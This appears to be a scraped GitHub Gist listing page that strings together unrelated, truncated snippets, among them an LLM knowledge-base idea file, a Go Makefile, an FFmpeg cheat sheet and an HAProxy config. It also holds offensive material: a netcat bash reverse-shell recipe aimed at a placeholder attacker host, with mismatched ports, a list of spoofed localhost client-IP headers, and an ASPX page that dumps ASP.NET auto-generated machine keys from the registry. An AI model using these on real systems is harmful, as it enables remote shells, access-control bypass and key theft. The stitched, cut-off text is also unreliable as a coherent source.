Skip to content

Instantly share code, notes, and snippets.

View phedoreanu's full-sized avatar
🏠
Working from home

Adrian Fedoreanu phedoreanu

🏠
Working from home
View GitHub Profile

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

sharing this oneliner i made and use a lot on PEs. doesn't work on DLLs or if you have 0 imports:
alias peinfo="python -c \"import pefile, sys; pe = pefile.PE(sys.argv[1]); print('\\n'.join(['Module: {} - {}, Address: {}'.format(entry.dll.decode('utf-8'), imp.name.decode('utf-8'), hex(imp.address)) for entry in pe.DIRECTORY_ENTRY_IMPORT for imp in entry.imports]))\""
sample output:

Module: KERNEL32.dll - DeleteCriticalSection, Address: 0x14000d1d8
Module: msvcrt.dll - __initenv, Address: 0x14000d270
Module: msvcrt.dll - calloc, Address: 0x14000d2e8
@rain-1
rain-1 / a_How is a matrix used to count fish?.md
Last active August 1, 2024 14:29
How is a matrix used to count fish?

This is explaining stuff relevant to AOC 2021 day 6

How is a matrix used to count fish?

First lets do fibonacci numbers because it's smaller (2x2 matrix instead of 9x9) and it's familiar ground.

So you can implement fibs like this:

def fib(n):
CF-Connecting-IP: 127.0.0.1
Content-type: 0
Fastly-Client-IP: 127.0.0.1
Forwarded: 127.0.0.1
Forwarded: for=127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
@thomaspoignant
thomaspoignant / Makefile
Last active February 6, 2026 15:00
My ultimate Makefile for Golang Projects
GOCMD=go
GOTEST=$(GOCMD) test
GOVET=$(GOCMD) vet
BINARY_NAME=example
VERSION?=0.0.0
SERVICE_PORT?=3000
DOCKER_REGISTRY?= #if set it should finished by /
EXPORT_RESULT?=false # for CI please set EXPORT_RESULT to true
GREEN := $(shell tput -Txterm setaf 2)
@alsunseri
alsunseri / reverse-netcat.txt
Last active January 16, 2025 18:07
nc netcat reverse shell
On attack host in "local" active terminal using port 10000 for example:
nc -l -t -v 8080
i.e. attacker$ nc -l -v [ATTACK_HOST_IP] 8080
Then On "remote" victim computer - run this command
Get this to execute on the victim host ( assuming victim does not have netcat )
bash -i >& /dev/tcp/[ATTACK_HOST_IP]/10000 0>&1
for example:
@irsdl
irsdl / machineKeyFinder.aspx
Last active March 31, 2026 09:23
To find validation and decryption keys when AutoGenerate has been used in Machine Key settings
<%@ Page Language="C#" %>
<%
// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
Response.Write("<br/><hr/>");
byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
if(autoGenKeyV4!=null)
Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
if(autoGenKey!=null)
@steven2358
steven2358 / ffmpeg.md
Last active April 25, 2026 22:39
FFmpeg cheat sheet
@meanevo
meanevo / haproxy.cfg
Last active July 25, 2019 16:51
H2, HTTP/1.1 traffic balance/routing with HAProxy 1.7 (with SSL-Termination) and Nginx 1.10.2
#---------------------------------------------------------------------
# Global settings
#---------------------------------------------------------------------
global
daemon
chroot /var/lib/haproxy
pidfile /var/run/haproxy.pid
maxconn 2048
user haproxy
group haproxy